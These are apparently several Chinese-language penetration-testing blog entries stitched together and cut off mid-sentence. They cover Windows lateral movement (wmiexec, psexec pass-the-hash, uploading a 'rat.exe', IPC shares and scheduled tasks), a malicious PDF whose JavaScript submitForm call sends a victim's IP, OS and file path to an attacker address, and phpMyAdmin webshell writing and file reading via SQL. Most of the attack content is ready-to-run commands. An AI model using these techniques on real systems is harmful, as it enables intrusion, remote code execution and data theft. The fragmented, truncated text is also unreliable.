WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

 

一、wmiexec.vbs 使用(需要目标用户的明文)

        1. 半交互shell模式

cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 hostname\username password
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 doamin\username password

        2. 单条命令执行模式:

cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 username password "whoami"
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 hostname\username password "whoami"
cscript.exe //nologo wmiexec.vbs /cmd 192.168.1.1 doamin\username password "whoami"

 

二、Wmiexec 使用(需要知道目标用户明文或者hash)

        1. 半交互式shell模式:

wmiexec ./admin:password@192.168.1.1
wmiexec hostname/admin:password@192.168.1.1
wmiexec domain/admin:password@192.168.1.1
wmiexec -hashes :$HASH$ ./admin@192.168.1.1
wmiexec -hashes :$HASH$ hostname/admin@192.168.1.1
wmiexec -hashes :$HASH$ domain/admin@192.168.1.1

        2. 执行命令模式

wmiexec ./admin:passwo

        利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。

 

一、Psexec使用

        利用Psexec需要目标开启admin$,并且会在目标创建服务(PSEXESVC )来执行,会在目标日志中留下大量合计,并且在实际利用中容易被各种杀软拦截,可以通过先建立IPC链接后使用或者直接提供用户凭证进行利用,利用过程如下:

        1. 通过明文密码的方式获得目标主机的半交互式shell:

 psexec \\192.168.1.2 cmd # 需要先有ipc链接
 psexec \\192.168.1.2 -u administrator -p password cmd # 直接提供明文账户密码,可以不用建立IPC
 psexec \\192.168.1.2 -u administrator -p password -s cmd # -s 指定以System权限运行

        2. 通过hash传递的方式获得远程主机的半交互式shell:

psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3

        3. 上传exe到目标执行:

psexec \\192.168.1.2 -u administrator -p password -c C:\Windows\Temp\rat.exe
psexec -hashes :$HASH$ ./administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe
psexec -hashes :$HASH$ domain/administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe

 

二、使用总结

        1. Psexec 需要目标开启 admin$ 共享

        2. Psexec 连接目标时会创建PSEXESVC 服务,退出时删除PSEXESVC 服务,会在目标日志系统留下大量痕迹

        3. 通过Psexec获得交互式shell时,正常使用exit退出会删除目标机器上的PSEXESVC 服务,直接

    在拿下一台内网主机后,通过本地信息搜集收集用户凭证等信息后,如何横向渗透拿下更多的主机?这里仅介绍at&schtasks命令及相关工具的使用,在已知目标系统的用户明文密码或者hash的基础上,直接可以在远程主机上执行命令。

 

一、利用流程

    1. 建立IPC链接到目标主机

    2. 拷贝要执行的命令脚本到目标主机

    3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本

    4. 删除IPC链接

 

二、IPC

    1. IPC简介及使用

        IPC是专用管道,可以实现对远程计算机的访问,需要使用目标系统用户的账号密码,使用139、445端口。创建IPC链接可以使用如下的命令:

net use \\server\ipc$"password" /user:username # 链接工作组机器
net use \\server\ipc$"password" /user:domain\username # 链接域内机器

其中ipc$可以换成具体的盘符或者路径,如D$、C:\\Windows\Temp……IPC的使用如下:

dir \\192.168.72.128\C$\                # 查看文件列表
copy  \\192.168.72.128\C$\1.bat  1.bat  # 下载文件
copy  1.bat  \\192.168.72.128\C$\1.bat  # 上传文件
net use \\192.168.72.128\C$\1.bat /del  # 删除IPC
net share ipc$ | admin$                 # 开启逻辑共享(C$、D$、E$……)或者 系统共享(ADMIN$)
net view 192.168.72.128                 # 查看对方共享

 注意:如果路径中出现空格,用双引号引起来如:dir \\server\C$\Windows\"Top secret.rar"。如果是用ip建立的ipc,必须用ip运行上述命令,如果用的计算机名建立的ipc,也必须用计算机名运行上述的命令。

 

    2. 建立IPC常见的错误代码

    (1)5:拒绝访问,可能是使用的用户不是管理员权限,需要先提升权限

    (2)51:网络问题,Window

? Social Engineering ? ? Browser ?      2019-11-02

    很久之前的笔记了,在渗透测试中比较好用的一个洞。


一、简述

    截至2019年3月1号为止,Google还没能修复该漏洞。当用户使用Google Chrome作为本地PDF查看器时,利用Google Chrome 的0day激发恶意PDF中的代码,造成一些用户敏感歇息泄露(用户公共IP、OS、Chrome版本以及PDF文件的完整路径)。

    主要问题:pdf允许插入javascript,时Adode 为了自定义化PDF格式。Acrobat语法可以参考 https://www.pdfill.com/download/Acro6JSGuide.pdf

 

二、漏洞复现

    1. 下载的PDF阅读器

    这里使用的 破解版的PDF阅读器Adobe Acrobat Pro DC 2018(Windows)对一个pdf文件进行编辑。如果没有JavaScript,需要在编辑->管理工具中添加。

    2. 选择文档级JavaScript,给及脚本命名,添加app.alert(‘xss’);将会有弹窗。

    3. 修改代码,将发送的请求替代XSS。

function test()
{
    this.submitForm("http://192.168.190.137/");
}
test();

    4. 再次打开修改后的pdf,抓流量会发现如下图所示:

获得的敏感信息包括:目标的公网IP(或者内网边界IP)、目标的操作系统、Google Chrome 版本、打开pdf的路径(系统用户名)。

 

三、漏洞评价

        无法确定目标网络边界时,利用该漏洞结合邮件发送进而确定内网边界。同时通过该漏洞可以获得系统用户名,可以结合社工进行精确定位,或者可以用于内网定位管理员。以上仅仅个人拙见,如有错误,欢迎讨论学习!

      

 

 

? Postgresql ? ? Database ?      2019-11-01

    渗透过程中经常会遇到5432端口的Postgresql 服务特意总结下常用的攻击方式,个人拙见,如有疑问请与我联系,欢迎一起讨论学习。

 

一、Postgresql 安装与启动

        安装:sudo apt-get install postgresql 安装后会:

        (1)创建名为"postgres"的Linux用户

        (2)创建名为"postgres"不带密码的默认数据库账号作为数据库管理员

        (3)创建名为"postgres"表

        (4)默认用户创建的库为public

        启动:sudo /etc/init.d/postgresql restart

 

二、数据库用户权限说明

    1. login: 可登录

    2. superuser:数据库超级用户

    3. createdb:创建数据库权限

    4. createrole:创建和删除其他普通用户的权限

    5. replication:流复制时用到的一个用户属性,需要单独设定

    6. password:登录时需要指定密码

    7. inherit:用户组对组员的一个集成标识,成员可以集成用户组的特性权限

 

三、psql管理

        执行命令:sudo -u postgres psql进入可以执行sql语句和psql的基本命令,链接远程数据库可以使用如下命令:

psql -U dbuser -d exampledb -h ip -p 5432

        常用的命令如下:

        (1)\password:设置密码

        (2)\h:查看SQL命令的解释,比如\h select

        (3)\l:列出所有数据库

        (4)\c [database_name]:连接其他数据库

        (5)\d:列出当前数据库的所有表格

        (6)\d [table_name]:列出某一张表格的结构

        (7)\du:列出所有用户

        (8)\conninfo:列出当前数据库和连接的信息

        (9)\q:退出

        psql备份与还原:

        (1)备份:

pg_dump -O -h 192.168.0.5 -U dbowner -w -p 5432 
? phpmyadmin ? ? webshell ?      2019-11-01

    在对目标进行目录扫描时经常会遇到phpmyadmin,特地总结下phpmyadmin的利用思路,关于phpmyadmin的漏洞环境可以参考vulhub,复现过的都忘记截图,请大家见谅。

 

一、phpmyadmin版本判断:

也可以直接访问:/doc/html/index.html目录

 

二、phpmyadmin利用:

    phpmyadmin的漏洞多为经过验证后的才能利用,所以需要进入后台,可以采用爆破的方式进入后台,常用的有:root:root 、root:(space)、mysql:mysql ......

    1. 最常使用的getshell方式:

        直接用into outfile 直接在网站目录下写入webshell,但是该方法需要前提条件是:

        (1) 当前的数据库用户有写权限

        (2) 知道web绝对路径

        (3) web路径能写

 

        1.1 如何判断当前数据库用户有写权限?

        执行:show variables like '%secure%'; 如果secure_file_priv如果非空,则只能在对应的目录下读文件,如果是空即可在其他目录写。Linux下默认/tmp目录可写。

 

        1.2 web绝对路径:在可读写的前提下如何获取web路径?

        (1) phpinfo() 页面:最理想的情况,直接显示web路径

        (2) web报错信息:可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径

        (3) 一些集成的web框架:如果目标站点是利用phpstudy、LAMPP等之类搭建的,可以通过查看数据库路径show variables like '%datadir%'; ,再猜解web路径的方法,一般容易成功。

        (4) 利用select load_file() 读取文件找到web路径:可以尝试/etc/passwd,apache|nginx|httpd log之类的文件。

Trick:如何判断目录是否存在,往往确定了/var/www/html目录,但是还有一层目录不能确定,可以采用目标域名+常用的网站根目录的方式进行爆破,当使用select 'test' into outfile '/var/www/$fuzz$/s

? Windows ?      2019-11-01

    注册表是Windows在win95/98系统开始引入的一种核心数据库,里面存放着各类的配置信息、参数等、直接控制着系统的启动、硬件的装载及Windows程序的运行。

一、注册表结构:键、值、类型

 

 

二、根键的分类及作用

    1. HKEY_CLASSES_ROOT:是应用程序运行时必需的信息,包括扩展名和关联、所有的驱动程序名称、类的ID数字、用于应用程序和文件的图标。

    2. HKEY_CURRENT_USER:管理系统当前的用户信息。在这个根键中保存了本地计算机中存放的当前登录的用户信息,包括用户登录用户名和暂存的密码。在用户登录Windows时,其信息从HKEY_USERS中相应的项拷贝到HKEY_CURRENT_USER中。

    3. HKEY_LOCAL_MACHINE:保存了注册表里的所有与这台计算机有关的配置信息。

    4. HKEY_USERS:仅包含了缺省用户设置和登录用户的信息。包含了所有独立用户的设置,但在用户未登录时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用,什么组可用,哪个开始菜单可用,哪些颜色和字体可用,和控制面板上什么选项和设置可用。

    5. HKEY_CURRENT_CONFIG:包括了系统中现有的所有配置文件的细节。它与HKEY_LOCAL_MACHINE的不同之处是它的改变不会涉及到多个注册表信息的改变。

 

PS:上述的根键分别有对应的缩写,缩写规则是:第一个单词前两个字母和后两个单词首字母,如:HKCU为"HKEY_CURRENT_USER"的缩写,其他根键为"HKCR"、"HKLM"、"HKU"、"HKCC"等

    

三、reg命令

    可以实现对注册表进行添加、删除、查看、备份、还原等操作。

    1. 注册表添加:向"HKEY_CURRENT_USER"下创建一个子键"Teng",在该子键中添加名为"hello",类型为"REG_ZS",数据为"welcome"

reg add  HKCU\Teng  /v hello  /t REG_SZ  /d "welcome"

其中 /v 值 /t 类型 /d 数据

    2. 修改注册表中的值,例如开启远程桌面 1->0

reg add "hklm\system\currentcontrolset\control\terminal server" /f